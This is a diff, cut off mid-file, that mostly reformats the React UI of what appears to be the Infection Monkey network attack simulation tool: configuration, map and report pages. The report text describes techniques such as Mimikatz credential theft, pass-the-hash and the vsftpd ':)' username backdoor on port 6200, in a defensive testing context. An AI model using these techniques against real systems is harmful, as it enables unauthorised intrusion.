|
||||
static formatScanned(data){
|
||||
static formatScanned(data) {
|
||||
let result = [];
|
||||
for(let service in data.machine.services){
|
||||
let scanned_service = {'machine': data.machine,
|
||||
for (let service in data.machine.services) {
|
||||
let scanned_service = {
|
||||
'machine': data.machine,
|
||||
'time': data.time,
|
||||
'service': {'port': [data.machine.services[service].port],
|
||||
'display_name': data.machine.services[service].display_name}};
|
||||
'service': {
|
||||
'port': [data.machine.services[service].port],
|
||||
'display_name': data.machine.services[service].display_name
|
||||
}
|
||||
};
|
||||
result.push(scanned_service)
|
||||
}
|
||||
return result
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
import { renderMachine, ScanStatus } from "./Helpers"
|
||||
import {renderMachine, ScanStatus} from "./Helpers"
|
||||
|
||||
|
||||
class T1222 extends React.Component {
|
||||
|
@ -14,10 +14,11 @@ class T1222 extends React.Component {
|
|||
return ([{
|
||||
Header: "Permission modification commands",
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}},
|
||||
{Header: 'Command', id: 'command', accessor: x => x.command, style: {'whiteSpace': 'unset'}},
|
||||
]
|
||||
}])};
|
||||
}])
|
||||
};
|
||||
|
||||
render() {
|
||||
return (
|
||||
|
|
|
@ -3,7 +3,7 @@ import Form from 'react-jsonschema-form';
|
|||
import {Col, Modal, Nav, NavItem} from 'react-bootstrap';
|
||||
import fileDownload from 'js-file-download';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import { FilePond } from 'react-filepond';
|
||||
import {FilePond} from 'react-filepond';
|
||||
import 'filepond/dist/filepond.min.css';
|
||||
import MatrixComponent from "../attack/MatrixComponent";
|
||||
|
||||
|
@ -37,7 +37,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
}
|
||||
|
||||
getUiSchemas(){
|
||||
getUiSchemas() {
|
||||
return ({
|
||||
basic: {"ui:order": ["general", "credentials"]},
|
||||
basic_network: {},
|
||||
|
@ -94,8 +94,11 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
this.setInitialConfig(monkeyConfig.configuration);
|
||||
this.setInitialAttackConfig(attackConfig.configuration);
|
||||
for (let sectionKey of this.sectionsOrder) {
|
||||
if (sectionKey === 'attack') {sections.push({key:sectionKey, title: "ATT&CK"})}
|
||||
else {sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});}
|
||||
if (sectionKey === 'attack') {
|
||||
sections.push({key: sectionKey, title: "ATT&CK"})
|
||||
} else {
|
||||
sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});
|
||||
}
|
||||
}
|
||||
this.setState({
|
||||
schema: monkeyConfig.schema,
|
||||
|
@ -118,7 +121,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
onSubmit = () => {
|
||||
if (this.state.selectedSection === 'attack'){
|
||||
if (this.state.selectedSection === 'attack') {
|
||||
this.matrixSubmit()
|
||||
} else {
|
||||
this.configSubmit()
|
||||
|
@ -134,13 +137,14 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
body: JSON.stringify(this.state.attackConfig)
|
||||
})
|
||||
.then(res => {
|
||||
if (!res.ok)
|
||||
{
|
||||
if (!res.ok) {
|
||||
throw Error()
|
||||
}
|
||||
return res;
|
||||
})
|
||||
.then(() => {this.setInitialAttackConfig(this.state.attackConfig);})
|
||||
.then(() => {
|
||||
this.setInitialAttackConfig(this.state.attackConfig);
|
||||
})
|
||||
.then(this.updateConfig())
|
||||
.then(this.setState({lastAction: 'saved'}))
|
||||
.catch(error => {
|
||||
|
@ -168,22 +172,22 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
// Alters attack configuration when user toggles technique
|
||||
attackTechniqueChange = (technique, value, mapped=false) => {
|
||||
attackTechniqueChange = (technique, value, mapped = false) => {
|
||||
// Change value in attack configuration
|
||||
// Go trough each column in matrix, searching for technique
|
||||
Object.entries(this.state.attackConfig).forEach(techType => {
|
||||
if(techType[1].properties.hasOwnProperty(technique)){
|
||||
if (techType[1].properties.hasOwnProperty(technique)) {
|
||||
let tempMatrix = this.state.attackConfig;
|
||||
tempMatrix[techType[0]].properties[technique].value = value;
|
||||
this.setState({attackConfig: tempMatrix});
|
||||
|
||||
// Toggle all mapped techniques
|
||||
if (! mapped ){
|
||||
if (!mapped) {
|
||||
// Loop trough each column and each row
|
||||
Object.entries(this.state.attackConfig).forEach(otherType => {
|
||||
Object.entries(otherType[1].properties).forEach(otherTech => {
|
||||
// If this technique depends on a technique that was changed
|
||||
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)){
|
||||
if (otherTech[1].hasOwnProperty('depends_on') && otherTech[1]['depends_on'].includes(technique)) {
|
||||
this.attackTechniqueChange(otherTech[0], value, true)
|
||||
}
|
||||
})
|
||||
|
@ -207,17 +211,23 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
renderAttackAlertModal = () => {
|
||||
return (<Modal show={this.state.showAttackAlert} onHide={() => {this.setState({showAttackAlert: false})}}>
|
||||
return (<Modal show={this.state.showAttackAlert} onHide={() => {
|
||||
this.setState({showAttackAlert: false})
|
||||
}}>
|
||||
<Modal.Body>
|
||||
<h2><div className="text-center">Warning</div></h2>
|
||||
<p className = "text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
|
||||
<h2>
|
||||
<div className="text-center">Warning</div>
|
||||
</h2>
|
||||
<p className="text-center" style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
|
||||
You have unsubmitted changes. Submit them before proceeding.
|
||||
</p>
|
||||
<div className="text-center">
|
||||
<button type="button"
|
||||
className="btn btn-success btn-lg"
|
||||
style={{margin: '5px'}}
|
||||
onClick={() => {this.setState({showAttackAlert: false})}} >
|
||||
onClick={() => {
|
||||
this.setState({showAttackAlert: false})
|
||||
}}>
|
||||
Cancel
|
||||
</button>
|
||||
</div>
|
||||
|
@ -225,23 +235,23 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
</Modal>)
|
||||
};
|
||||
|
||||
userChangedConfig(){
|
||||
if(JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)){
|
||||
if(Object.keys(this.currentFormData).length === 0 ||
|
||||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)){
|
||||
userChangedConfig() {
|
||||
if (JSON.stringify(this.state.configuration) === JSON.stringify(this.initialConfig)) {
|
||||
if (Object.keys(this.currentFormData).length === 0 ||
|
||||
JSON.stringify(this.initialConfig[this.currentSection]) === JSON.stringify(this.currentFormData)) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
userChangedMatrix(){
|
||||
userChangedMatrix() {
|
||||
return (JSON.stringify(this.state.attackConfig) !== JSON.stringify(this.initialAttackConfig))
|
||||
}
|
||||
|
||||
setSelectedSection = (key) => {
|
||||
if ((key === 'attack' && this.userChangedConfig()) ||
|
||||
(this.currentSection === 'attack' && this.userChangedMatrix())){
|
||||
(this.currentSection === 'attack' && this.userChangedMatrix())) {
|
||||
this.setState({showAttackAlert: true});
|
||||
return;
|
||||
}
|
||||
|
@ -270,9 +280,11 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
this.setInitialConfig(res.configuration);
|
||||
this.props.onStatusChange();
|
||||
});
|
||||
this.authFetch(ATTACK_URL,{ method: 'POST',
|
||||
this.authFetch(ATTACK_URL, {
|
||||
method: 'POST',
|
||||
headers: {'Content-Type': 'application/json'},
|
||||
body: JSON.stringify('reset_attack_matrix')})
|
||||
body: JSON.stringify('reset_attack_matrix')
|
||||
})
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({attackConfig: res.configuration});
|
||||
|
@ -280,16 +292,18 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
})
|
||||
};
|
||||
|
||||
removePBAfiles(){
|
||||
removePBAfiles() {
|
||||
// We need to clean files from widget, local state and configuration (to sync with bac end)
|
||||
if (this.PBAwindowsPond !== null){
|
||||
if (this.PBAwindowsPond !== null) {
|
||||
this.PBAwindowsPond.removeFile();
|
||||
}
|
||||
if (this.PBAlinuxPond !== null){
|
||||
if (this.PBAlinuxPond !== null) {
|
||||
this.PBAlinuxPond.removeFile();
|
||||
}
|
||||
let request_options = {method: 'DELETE',
|
||||
headers: {'Content-Type': 'text/plain'}};
|
||||
let request_options = {
|
||||
method: 'DELETE',
|
||||
headers: {'Content-Type': 'text/plain'}
|
||||
};
|
||||
this.authFetch('/api/fileUpload/PBAlinux', request_options);
|
||||
this.authFetch('/api/fileUpload/PBAwindows', request_options);
|
||||
this.setState({PBAlinuxFile: [], PBAwinFile: []});
|
||||
|
@ -300,9 +314,12 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
this.setState({
|
||||
configuration: JSON.parse(event.target.result),
|
||||
lastAction: 'import_success'
|
||||
}, () => {this.sendConfig(); this.setInitialConfig(JSON.parse(event.target.result))});
|
||||
}, () => {
|
||||
this.sendConfig();
|
||||
this.setInitialConfig(JSON.parse(event.target.result))
|
||||
});
|
||||
this.currentFormData = {};
|
||||
} catch(SyntaxError) {
|
||||
} catch (SyntaxError) {
|
||||
this.setState({lastAction: 'import_failure'});
|
||||
}
|
||||
};
|
||||
|
@ -321,8 +338,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
body: JSON.stringify(this.state.configuration)
|
||||
})
|
||||
.then(res => {
|
||||
if (!res.ok)
|
||||
{
|
||||
if (!res.ok) {
|
||||
throw Error()
|
||||
}
|
||||
return res;
|
||||
|
@ -355,7 +371,8 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
|
||||
PBAwindows = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAwindows',
|
||||
server={{
|
||||
url: '/api/fileUpload/PBAwindows',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
|
@ -374,7 +391,8 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
|
||||
PBAlinux = () => {
|
||||
return (<FilePond
|
||||
server={{ url:'/api/fileUpload/PBAlinux',
|
||||
server={{
|
||||
url: '/api/fileUpload/PBAlinux',
|
||||
process: {headers: {'Authorization': this.jwtHeader}},
|
||||
revert: {headers: {'Authorization': this.jwtHeader}},
|
||||
restore: {headers: {'Authorization': this.jwtHeader}},
|
||||
|
@ -391,23 +409,23 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
/>)
|
||||
};
|
||||
|
||||
getWinPBAfile(){
|
||||
if (this.state.PBAwinFile.length !== 0){
|
||||
getWinPBAfile() {
|
||||
if (this.state.PBAwinFile.length !== 0) {
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAwinFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename){
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_windows_filename) {
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_windows_filename)
|
||||
}
|
||||
}
|
||||
|
||||
getLinuxPBAfile(){
|
||||
if (this.state.PBAlinuxFile.length !== 0){
|
||||
getLinuxPBAfile() {
|
||||
if (this.state.PBAlinuxFile.length !== 0) {
|
||||
return ConfigurePageComponent.getMockPBAfile(this.state.PBAlinuxFile[0])
|
||||
} else if (this.state.configuration.monkey.behaviour.PBA_linux_filename) {
|
||||
return ConfigurePageComponent.getFullPBAfile(this.state.configuration.monkey.behaviour.PBA_linux_filename)
|
||||
}
|
||||
}
|
||||
|
||||
static getFullPBAfile(filename){
|
||||
static getFullPBAfile(filename) {
|
||||
return [{
|
||||
source: filename,
|
||||
options: {
|
||||
|
@ -416,7 +434,7 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
}];
|
||||
}
|
||||
|
||||
static getMockPBAfile(mockFile){
|
||||
static getMockPBAfile(mockFile) {
|
||||
let pbaFile = [{
|
||||
source: mockFile.name,
|
||||
options: {
|
||||
|
@ -442,15 +460,15 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
uiSchema={this.uiSchemas[this.state.selectedSection]}
|
||||
formData={this.state.configuration[this.state.selectedSection]}
|
||||
onChange={this.onChange}
|
||||
noValidate={true} >
|
||||
noValidate={true}>
|
||||
<button type="submit" className={"hidden"}>Submit</button>
|
||||
</Form>
|
||||
</div> )
|
||||
</div>)
|
||||
};
|
||||
|
||||
renderRunningMonkeysWarning = () => {
|
||||
return (<div>
|
||||
{ this.state.allMonkeysAreDead ?
|
||||
{this.state.allMonkeysAreDead ?
|
||||
'' :
|
||||
<div className="alert alert-warning">
|
||||
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
|
||||
|
@ -462,14 +480,14 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
renderBasicNetworkWarning = () => {
|
||||
if (this.state.selectedSection === 'basic_network'){
|
||||
if (this.state.selectedSection === 'basic_network') {
|
||||
return (<div className="alert alert-info">
|
||||
<i className="glyphicon glyphicon-info-sign" style={{'marginRight': '5px'}}/>
|
||||
The Monkey scans its subnet if "Local network scan" is ticked. Additionally the monkey scans machines
|
||||
according to its range class.
|
||||
</div>)
|
||||
} else {
|
||||
return (<div />)
|
||||
return (<div/>)
|
||||
}
|
||||
};
|
||||
|
||||
|
@ -488,9 +506,9 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
displayedSchema['definitions'] = this.state.schema['definitions'];
|
||||
}
|
||||
let content = '';
|
||||
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0 ) {
|
||||
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) {
|
||||
content = this.renderMatrix()
|
||||
} else if(this.state.selectedSection !== 'attack') {
|
||||
} else if (this.state.selectedSection !== 'attack') {
|
||||
content = this.renderConfigContent(displayedSchema)
|
||||
}
|
||||
return (
|
||||
|
@ -498,8 +516,8 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
{this.renderAttackAlertModal()}
|
||||
<h1 className="page-title">Monkey Configuration</h1>
|
||||
{this.renderNav()}
|
||||
{ this.renderRunningMonkeysWarning()}
|
||||
{ content }
|
||||
{this.renderRunningMonkeysWarning()}
|
||||
{content}
|
||||
<div className="text-center">
|
||||
<button type="submit" onClick={this.onSubmit} className="btn btn-success btn-lg" style={{margin: '5px'}}>
|
||||
Submit
|
||||
|
@ -513,37 +531,37 @@ class ConfigurePageComponent extends AuthComponent {
|
|||
className="btn btn-info btn-lg" style={{margin: '5px'}}>
|
||||
Import Config
|
||||
</button>
|
||||
<input id="uploadInputInternal" type="file" accept=".conf" onChange={this.importConfig} style={{display: 'none'}} />
|
||||
<input id="uploadInputInternal" type="file" accept=".conf" onChange={this.importConfig} style={{display: 'none'}}/>
|
||||
<button type="button" onClick={this.exportConfig} className="btn btn-info btn-lg" style={{margin: '5px'}}>
|
||||
Export config
|
||||
</button>
|
||||
</div>
|
||||
<div>
|
||||
{ this.state.lastAction === 'reset' ?
|
||||
{this.state.lastAction === 'reset' ?
|
||||
<div className="alert alert-success">
|
||||
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
|
||||
Configuration reset successfully.
|
||||
</div>
|
||||
: ''}
|
||||
{ this.state.lastAction === 'saved' ?
|
||||
{this.state.lastAction === 'saved' ?
|
||||
<div className="alert alert-success">
|
||||
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
|
||||
Configuration saved successfully.
|
||||
</div>
|
||||
: ''}
|
||||
{ this.state.lastAction === 'import_failure' ?
|
||||
{this.state.lastAction === 'import_failure' ?
|
||||
<div className="alert alert-danger">
|
||||
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
||||
Failed importing configuration. Invalid config file.
|
||||
</div>
|
||||
: ''}
|
||||
{ this.state.lastAction === 'invalid_configuration' ?
|
||||
{this.state.lastAction === 'invalid_configuration' ?
|
||||
<div className="alert alert-danger">
|
||||
<i className="glyphicon glyphicon-exclamation-sign" style={{'marginRight': '5px'}}/>
|
||||
An invalid configuration file was imported or submitted.
|
||||
</div>
|
||||
: ''}
|
||||
{ this.state.lastAction === 'import_success' ?
|
||||
{this.state.lastAction === 'import_success' ?
|
||||
<div className="alert alert-success">
|
||||
<i className="glyphicon glyphicon-ok-sign" style={{'marginRight': '5px'}}/>
|
||||
Configuration imported successfully.
|
||||
|
|
|
@ -18,8 +18,8 @@ class LicensePageComponent extends React.Component {
|
|||
<h1 className="page-title">License</h1>
|
||||
<div style={{'fontSize': '1.2em'}}>
|
||||
<p>
|
||||
Copyright <i className="glyphicon glyphicon-copyright-mark" /> 2017 Guardicore Ltd.
|
||||
<br />
|
||||
Copyright <i className="glyphicon glyphicon-copyright-mark"/> 2017 Guardicore Ltd.
|
||||
<br/>
|
||||
Licensed under <a href="https://www.gnu.org/licenses/gpl-3.0.html" target="_blank">GPLv3</a>.
|
||||
</p>
|
||||
<p>
|
||||
|
|
|
@ -52,7 +52,7 @@ class MapPageComponent extends AuthComponent {
|
|||
};
|
||||
|
||||
updateTelemetryFromServer = () => {
|
||||
this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
|
||||
this.authFetch('/api/telemetry-feed?timestamp=' + this.state.telemetryLastTimestamp)
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
let newTelem = this.state.telemetry.concat(res['telemetries']);
|
||||
|
@ -71,8 +71,7 @@ class MapPageComponent extends AuthComponent {
|
|||
this.authFetch('/api/netmap/node?id=' + event.nodes[0])
|
||||
.then(res => res.json())
|
||||
.then(res => this.setState({selected: res, selectedType: 'node'}));
|
||||
}
|
||||
else if (event.edges.length === 1) {
|
||||
} else if (event.edges.length === 1) {
|
||||
let displayedEdge = this.state.graph.edges.find(
|
||||
function (edge) {
|
||||
return edge['id'] === event.edges[0];
|
||||
|
@ -84,8 +83,7 @@ class MapPageComponent extends AuthComponent {
|
|||
.then(res => res.json())
|
||||
.then(res => this.setState({selected: res.edge, selectedType: 'edge'}));
|
||||
}
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
this.setState({selected: null, selectedType: null});
|
||||
}
|
||||
}
|
||||
|
@ -100,7 +98,9 @@ class MapPageComponent extends AuthComponent {
|
|||
return (
|
||||
<Modal show={this.state.showKillDialog} onHide={() => this.setState({showKillDialog: false})}>
|
||||
<Modal.Body>
|
||||
<h2><div className="text-center">Are you sure you want to kill all monkeys?</div></h2>
|
||||
<h2>
|
||||
<div className="text-center">Are you sure you want to kill all monkeys?</div>
|
||||
</h2>
|
||||
<p style={{'fontSize': '1.2em', 'marginBottom': '2em'}}>
|
||||
This might take a few moments...
|
||||
</p>
|
||||
|
@ -153,15 +153,15 @@ class MapPageComponent extends AuthComponent {
|
|||
<Col xs={8}>
|
||||
<div className="map-legend">
|
||||
<b>Legend: </b>
|
||||
<span>Exploit <i className="fa fa-lg fa-minus" style={{color: '#cc0200'}} /></span>
|
||||
<span>Exploit <i className="fa fa-lg fa-minus" style={{color: '#cc0200'}}/></span>
|
||||
<b style={{color: '#aeaeae'}}> | </b>
|
||||
<span>Scan <i className="fa fa-lg fa-minus" style={{color: '#ff9900'}} /></span>
|
||||
<span>Scan <i className="fa fa-lg fa-minus" style={{color: '#ff9900'}}/></span>
|
||||
<b style={{color: '#aeaeae'}}> | </b>
|
||||
<span>Tunnel <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}} /></span>
|
||||
<span>Tunnel <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span>
|
||||
<b style={{color: '#aeaeae'}}> | </b>
|
||||
<span>Island Communication <i className="fa fa-lg fa-minus" style={{color: '#a9aaa9'}} /></span>
|
||||
<span>Island Communication <i className="fa fa-lg fa-minus" style={{color: '#a9aaa9'}}/></span>
|
||||
</div>
|
||||
{ this.renderTelemetryConsole() }
|
||||
{this.renderTelemetryConsole()}
|
||||
<div style={{height: '80vh'}}>
|
||||
<ReactiveGraph graph={this.state.graph} options={options} events={this.events}/>
|
||||
</div>
|
||||
|
@ -174,7 +174,8 @@ class MapPageComponent extends AuthComponent {
|
|||
<div style={{'overflow': 'auto', 'marginBottom': '1em'}}>
|
||||
<Link to="/infection/telemetry" className="btn btn-default pull-left" style={{'width': '48%'}}>Monkey
|
||||
Telemetry</Link>
|
||||
<button onClick={() => this.setState({showKillDialog: true})} className="btn btn-danger pull-right" style={{'width': '48%'}}>
|
||||
<button onClick={() => this.setState({showKillDialog: true})} className="btn btn-danger pull-right"
|
||||
style={{'width': '48%'}}>
|
||||
<Icon name="stop-circle" style={{'marginRight': '0.5em'}}/>
|
||||
Kill All Monkeys
|
||||
</button>
|
||||
|
|
|
@ -29,15 +29,13 @@ class PassTheHashMapPageComponent extends AuthComponent {
|
|||
return node['id'] === event.nodes[0];
|
||||
});
|
||||
this.setState({selected: displayedNode, selectedType: 'node'})
|
||||
}
|
||||
else if (event.edges.length === 1) {
|
||||
} else if (event.edges.length === 1) {
|
||||
let displayedEdge = this.state.graph.edges.find(
|
||||
function (edge) {
|
||||
return edge['id'] === event.edges[0];
|
||||
});
|
||||
this.setState({selected: displayedEdge, selectedType: 'edge'});
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
this.setState({selected: null, selectedType: null});
|
||||
}
|
||||
}
|
||||
|
|
|
@ -147,7 +147,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
return (
|
||||
<Fragment>
|
||||
<div style={{marginBottom: '20px'}}>
|
||||
<PrintReportButton onClick={() => {print();}} />
|
||||
<PrintReportButton onClick={() => {
|
||||
print();
|
||||
}}/>
|
||||
</div>
|
||||
<div className="report-page">
|
||||
<ReportHeader report_type={ReportTypes.security}/>
|
||||
|
@ -155,7 +157,9 @@ class ReportPageComponent extends AuthComponent {
|
|||
{content}
|
||||
</div>
|
||||
<div style={{marginTop: '20px'}}>
|
||||
<PrintReportButton onClick={() => {print();}} />
|
||||
<PrintReportButton onClick={() => {
|
||||
print();
|
||||
}}/>
|
||||
</div>
|
||||
</Fragment>
|
||||
);
|
||||
|
@ -276,7 +280,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
}).length} threats</span>:
|
||||
<ul>
|
||||
{this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ?
|
||||
<li>Stolen SSH keys are used to exploit other machines.</li> : null }
|
||||
<li>Stolen SSH keys are used to exploit other machines.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
|
||||
<li>Stolen credentials are used to exploit other machines.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.ELASTIC] ?
|
||||
|
@ -309,15 +313,16 @@ class ReportPageComponent extends AuthComponent {
|
|||
{this.state.report.overview.issues[this.Issue.STRUTS2] ?
|
||||
<li>Struts2 servers are vulnerable to remote code execution. (<a
|
||||
href="https://cwiki.apache.org/confluence/display/WW/S2-045">
|
||||
CVE-2017-5638</a>)</li> : null }
|
||||
CVE-2017-5638</a>)</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.WEBLOGIC] ?
|
||||
<li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null }
|
||||
<li>Oracle WebLogic servers are susceptible to a remote code execution vulnerability.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.HADOOP] ?
|
||||
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null }
|
||||
<li>Hadoop/Yarn servers are vulnerable to remote code execution.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ?
|
||||
<li>Mimikatz found login credentials of a user who has admin access to a server defined as critical.</li>: null }
|
||||
<li>Mimikatz found login credentials of a user who has admin access to a server defined as
|
||||
critical.</li> : null}
|
||||
{this.state.report.overview.issues[this.Issue.MSSQL] ?
|
||||
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null }
|
||||
<li>MS-SQL servers are vulnerable to remote code execution via xp_cmdshell command.</li> : null}
|
||||
</ul>
|
||||
</div>
|
||||
:
|
||||
|
@ -344,7 +349,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
{this.state.report.overview.warnings[this.Warning.TUNNEL] ?
|
||||
<li>Weak segmentation - Machines were able to communicate over unused ports.</li> : null}
|
||||
{this.state.report.overview.warnings[this.Warning.SHARED_LOCAL_ADMIN] ?
|
||||
<li>Shared local administrator account - Different machines have the same account as a local administrator.</li> : null}
|
||||
<li>Shared local administrator account - Different machines have the same account as a local
|
||||
administrator.</li> : null}
|
||||
{this.state.report.overview.warnings[this.Warning.SHARED_PASSWORDS] ?
|
||||
<li>Multiple users have the same password</li> : null}
|
||||
</ul>
|
||||
|
@ -355,7 +361,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
</div>
|
||||
}
|
||||
</div>
|
||||
{ this.state.report.overview.cross_segment_issues.length > 0 ?
|
||||
{this.state.report.overview.cross_segment_issues.length > 0 ?
|
||||
<div>
|
||||
<h3>
|
||||
Segmentation Issues
|
||||
|
@ -380,14 +386,14 @@ class ReportPageComponent extends AuthComponent {
|
|||
{/* Checks if there are any domain issues. If there are more then one: render the title. Otherwise,
|
||||
* don't render it (since the issues themselves will be empty. */}
|
||||
{Object.keys(this.state.report.recommendations.domain_issues).length !== 0 ?
|
||||
<h3>Domain related recommendations</h3> : null }
|
||||
<h3>Domain related recommendations</h3> : null}
|
||||
<div>
|
||||
{this.generateIssues(this.state.report.recommendations.domain_issues)}
|
||||
</div>
|
||||
{/* Checks if there are any issues. If there are more then one: render the title. Otherwise,
|
||||
* don't render it (since the issues themselves will be empty. */}
|
||||
{Object.keys(this.state.report.recommendations.issues).length !== 0 ?
|
||||
<h3>Machine related recommendations</h3> : null }
|
||||
<h3>Machine related recommendations</h3> : null}
|
||||
<div>
|
||||
{this.generateIssues(this.state.report.recommendations.issues)}
|
||||
</div>
|
||||
|
@ -450,7 +456,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
<StolenPasswords data={this.state.report.glance.stolen_creds.concat(this.state.report.glance.ssh_keys)}/>
|
||||
</div>
|
||||
<div>
|
||||
<StrongUsers data = {this.state.report.glance.strong_users} />
|
||||
<StrongUsers data={this.state.report.glance.strong_users}/>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
@ -463,16 +469,18 @@ class ReportPageComponent extends AuthComponent {
|
|||
Credentials Map
|
||||
</h3>
|
||||
<p>
|
||||
This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral movement opportunities by attackers.
|
||||
This map visualizes possible attack paths through the network using credential compromise. Paths represent lateral
|
||||
movement opportunities by attackers.
|
||||
</p>
|
||||
<div className="map-legend">
|
||||
<b>Legend: </b>
|
||||
<span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b style={{color: '#aeaeae'}}> | </b>
|
||||
<span>Access credentials <i className="fa fa-lg fa-minus" style={{color: '#0158aa'}}/></span> <b
|
||||
style={{color: '#aeaeae'}}> | </b>
|
||||
</div>
|
||||
<div>
|
||||
<PassTheHashMapPageComponent graph={this.state.report.glance.pth_map} />
|
||||
<PassTheHashMapPageComponent graph={this.state.report.glance.pth_map}/>
|
||||
</div>
|
||||
<br />
|
||||
<br/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
@ -488,7 +496,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
<div>
|
||||
<AttackReport reportData={this.state.report}/>
|
||||
</div>
|
||||
<br />
|
||||
<br/>
|
||||
</div>)
|
||||
}
|
||||
|
||||
|
@ -664,10 +672,13 @@ class ReportPageComponent extends AuthComponent {
|
|||
className="label label-danger">6200</span>.
|
||||
<br/>
|
||||
The attack was made possible because the VSFTPD server was not patched against CVE-2011-2523.
|
||||
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.
|
||||
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.
|
||||
<br/><br/>In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been
|
||||
compromised.
|
||||
Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command
|
||||
shell on port 6200.
|
||||
<br/><br/>
|
||||
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor at port 6200.
|
||||
The Monkey executed commands by first logging in with ":)" in the username and then sending commands to the backdoor
|
||||
at port 6200.
|
||||
<br/><br/>Read more about the security issue and remediation <a
|
||||
href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523"
|
||||
>here</a>.
|
||||
|
@ -781,7 +792,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
generateSharedLocalAdminsIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local admin sharing.
|
||||
Make sure the right administrator accounts are managing the right machines, and that there isn’t an unintentional local
|
||||
admin sharing.
|
||||
<CollapsibleWellComponent>
|
||||
Here is a list of machines which the account <span
|
||||
className="label label-primary">{issue.username}</span> is defined as an administrator:
|
||||
|
@ -856,7 +868,8 @@ class ReportPageComponent extends AuthComponent {
|
|||
generateHadoopIssue(issue) {
|
||||
return (
|
||||
<li>
|
||||
